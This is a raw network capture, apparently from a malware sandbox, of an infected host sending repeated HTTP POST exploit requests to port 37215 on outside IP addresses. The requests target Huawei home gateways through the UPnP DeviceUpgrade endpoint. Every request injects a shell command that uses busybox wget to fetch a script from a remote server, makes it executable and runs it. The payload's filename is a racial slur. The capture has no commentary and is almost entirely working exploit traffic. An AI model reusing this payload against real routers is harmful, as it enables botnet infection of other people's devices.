Feb 19, 2024 18:36:34.315473080 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460701942 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	53412	31.136.116.1	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.245342970 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289599895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.432728052 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.462960005 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:34.315469980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.460745096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	58328	31.31.168.14	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:47.245615005 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
